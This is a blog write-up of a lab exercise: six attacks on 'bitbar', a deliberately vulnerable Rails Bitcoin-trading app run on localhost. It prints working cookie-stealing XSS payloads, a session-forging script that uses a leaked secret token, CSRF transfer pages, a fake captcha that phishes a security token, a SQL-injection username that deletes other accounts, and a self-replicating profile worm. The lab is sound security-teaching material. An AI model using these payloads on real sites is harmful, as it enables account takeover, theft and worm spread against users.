banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

bitbar penetration test

lukas-NLSXFjl_nhc-unsplash

This article was first published on https://sec-in.com/article/441

It provides a Bitcoin trading website, and after setting up the local environment, I started to complete 6 attacks according to the requirements in the article.

The source code and code are available in this repository https://github.com/xinyongpeng/bitbar

According to the route

  get 'profile' => 'user#view_profile'

Locate to the function

  def view_profile
    @username = params[:username]
    @user = User.find_by_username(@username)
    if not @user
      if @username and @username != ""
        @error = "User #{@username} not found"
      elsif logged_in?
        @user = @logged_in_user
      end
    end
    
    render :profile
  end

It can be seen that the input username is printed directly, which naturally leads to an XSS vulnerability.

Payload

<script type="text/javascript">(new Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie</script>

Or use XMLHttpRequest to send

<script type="text/javascript">var x = new XMLHttpRequest();x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));x.send()</script>

1588517915811.png

Attack 2: Session hijacking with Cookies#

Refer to this article
1.png

The above image illustrates how the original Session object Session Data ultimately generates a Cookie.

The original encryption process:

  1. Serialization
  2. Padding, aes-cbc encryption, result base64 encoded
  3. hmac-sha1 signature
  4. Connect the encrypted data and signature with --

However, it was unexpectedly found that the cookie of bitbar is not aes encrypted, and can be obtained by

  1. Base64 decoding
  2. Deserialization

Thus, only one obstacle of bypassing the signature verification remains.

In config/initializers/secret_token.rb

# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!

# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.

# Make sure your secret_key_base is kept private
# if you're sharing your code publicly.
Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

This is the hmac-sha1 encryption and decryption key.

Okay, at this point, we can forge data.

  1. Attack the user login to obtain the current cookie.
  2. Modify the cookie value.

Here we need to use the mechanize package, install it.

gem install mechanize

Simulate login implementation

agent = Mechanize.new # Instantiate object
url = "http://localhost:3000/login"

page = agent.get(url) # Get the webpage

form = page.forms.first # The first form
form['username'] = form['password'] = 'attacker' # Fill in the form, username and password are both attacker
agent.submit form # Submit the form

This is equivalent to logging in, and then we obtain the cookie information.

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

The session is as follows:

{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

Clearly, we only need to modify logged_in_id to 1.

session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

puts "document.cookie='#{cookie_full}';"

At this point, the obtained session is

document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';

Then send data, for example, access http://localhost:3000/profile

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

At this point, we can see,
1588571397765.png

The browser now considers us to be user1.

Complete code

require 'mechanize'
require 'net/http'
SESSION = '_bitbar_session'
RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'

agent = Mechanize.new
url = "http://localhost:3000/login"

page = agent.get(url)

form = page.forms.first
form['username'] = form['password'] = 'attacker'
agent.submit form

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '')
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)

puts session
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # get rid of newlines
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full}
response = http.get(url,header)
puts response.body

Attack 3: Cross-site Request Forgery#

Analysis, log in as user1, transfer to attacker, the captured data packet is as follows

1588573100136.png

It can be seen that we only need to construct a form for automatic submission.

The content of b.html is as follows

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    
    <form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="pay">
        <input type="hidden" name="destination_username" value="attacker">
        <input type="hidden" name="quantity" value=10>
    </form>

    <script type="text/javascript">
        function validate(){
            document.getElementById("pay").submit();
        }
        window.load = validate();
        setTimeout(function(){window.location = "http://baidu.com";}, 0.1);
        </script>
</body>
</html>

The fields of the form are all hidden, and the values are all given, and then through

document.getElementById("pay").submit();

to achieve automatic submission.

Finally

setTimeout(function(){window.location = "http://baidu.com";}, 0.1);

After 0.1s, redirect to the Baidu homepage.

You can also use xmlhttprequest, the same idea.

<html>
  <body>
    <script>
      var request = new XMLHttpRequest();
      request.open("POST", "http://localhost:3000/post_transfer");
      request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      request.withCredentials = true;
      try {
        request.send("quantity=10&destination_username=attacker");
      } catch (err) {
        //
      } finally {
        window.location = "http://baidu.com/";
      }
    </script>
  </body>
</html>

Attack 4: Cross-site request forgery with user assistance#

Since http://localhost:3000/super_secure_transfer requires a random token when transferring, it is impossible to transfer via CSRF, and can only deceive the user into entering their own Super Secret Token, thus bypassing the server's verification.

bp2.html can use the previous code.

bp.html
<html>
  <head>
    <title>23333</title>
  </head>
  <body>
    <style type="text/css">
      iframe {
      width: 100%;
      height: 100%;
      border: none;
      }
    </style>
    <script></script>
    <iframe src="bp2.html" scrolling="no"></iframe>
  </body>
</html>
bp2.html
<p>Please enter the Super Secret Token from the super_secure_post_transfer page to prove you are not a robot</p>

<input id="token" type="text" placeholder="Captcha">
<button onClick="gotEm()">Confirm</button>

<script>
function gotEm() {
  var token = document.getElementById("token").value;
  var request = new XMLHttpRequest();
  request.open("POST", "http://localhost:3000/super_secure_post_transfer", false);
  request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  request.withCredentials = true;
  try {
    request.send("quantity=10&destination_username=attacker&tokeninput=" + token);
  } catch (err) {
    // Do nothing on inevitable XSS error
  } finally {
    window.top.location = "http://baidu.com";
  }
}
</script>

Attack 5: Little Bobby Tables (aka SQL Injection)#

The logic for deleting a user is as follows

  def post_delete_user
    if not logged_in?
      render "main/must_login"
      return
    end

    @username = @logged_in_user.username
    User.destroy_all("username = '#{@username}'")

    reset_session
    @logged_in_user = nil
    render "user/delete_user_success"
  end

It can be seen that the input username is directly concatenated into the SQL statement without any filtering. We see the SQL statement executed in the background
1589676140899.png

If our username contains user3, we can delete user3.

So if we register a user

user3' or username GLOB 'user3?*

The concatenated SQL statement must be

delete from users where username = user3 or username GLOB 'user3?*'

Log in

1589676748910.png

Delete

1589676771789.png

At this point, we can see the SQL statement executed in the background

1589676794562.png

Attack 6: Profile Worm#

The problem lies in rendering the user's profile.

In profile.html.erb, the code for rendering the user's profile is as follows

    <% if @user.profile and @user.profile != "" %>
        <div id="profile"><%= sanitize_profile(@user.profile) %></div>
    <% end %>

It calls the function sanitize_profile

  def sanitize_profile(profile)
    return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span), attributes: %w(id class href colspan rowspan src align valign))
  end

The sanitize function specifies the allowed tags and attributes whitelist through tags and attributes.

However, the attribute href means we can use JavaScript pseudo-protocol for XSS.

Reference: https://ruby-china.org/topics/28760

For example

<strong id="bitbar_count" class="javascript:alert(1)"></strong>

When updating our profile, viewing our profile will trigger a popup.

1589677835296.png

If a user browses the current profile, two operations will occur:

  1. Transfer operation
  2. Update the user's profile

The code for the transfer operation is as follows

var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
    request.send("quantity=1&destination_username=attacker");
} catch (err) {
//
} finally {
    //xxxx The operation to be executed
}

After the transfer is completed, we need to immediately update the current browsing user's profile.

Set the data packet for profile as follows

1589678078348.png

We only need to send a request to the route /set_profile.

request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('hax-wrap').outerHTML)));

Problems encountered:

  1. The sent data contains the HTML-escaped & symbol. As shown in the image

clipboard.png
Here I used String.fromCharCode() to convert it once.

  1. String concatenation can only use concat and cannot use +, because the + sign means a space in HTML.

Final code

<span id="wrap">
<span id="bitbar_count" class="eval(document['getElementById']('pxy')['innerHTML'])"></span>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
setTimeout(function(){

    var request = new XMLHttpRequest();
    request.open("POST", "http://localhost:3000/post_transfer");
    request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    request.withCredentials = true;
    try {
        request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));
    } catch (err) {
    //
    } finally {
        request = new XMLHttpRequest();
        request.open("POST", "http://localhost:3000/set_profile", true);
        request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        request.withCredentials = true;
        request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
    }

}, 0);
10;
</span>
<p>233333</p>
</span>

PS: You can also use the method of dynamically creating a form to transfer, but this way the page will redirect, which cannot be satisfied.

During the transfer and profile assignment process, the browser's address bar needs to always stay at http://localhost:3000/profile?username=x, where x is the username of the profile being viewed.

Attached is the code for dynamically creating a form.

<span id="wrap">
<strong id="bitbar_count" class="eval((document['getElementById']('pxy').innerHTML))"></strong>
<span id="pxy">
document.getElementById('pxy').style.display = "none";
function makeForm(){
    var form = document.createElement("form");
    form.id = "pay";
    
    document.body.appendChild(form);
    var input = document.createElement("input");
    input.type = "text";

    input.name =  "destination_username";
    input.value = "attacker";
    input.type = 'hidden';

    form.appendChild(input);
    var input2 = document.createElement("input");
    input2.type = "hidden";
    input2.name = "quantity";
    input2.value = 10
    
    form.appendChild(input2);
    form.action = "http://localhost:3000/post_transfer";
    form.method = "POST";
    form.enctype = "application/x-www-form-urlencode";
    form.submit();
}
makeForm();
request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/set_profile", true);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML)));
</span>
</span>
Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.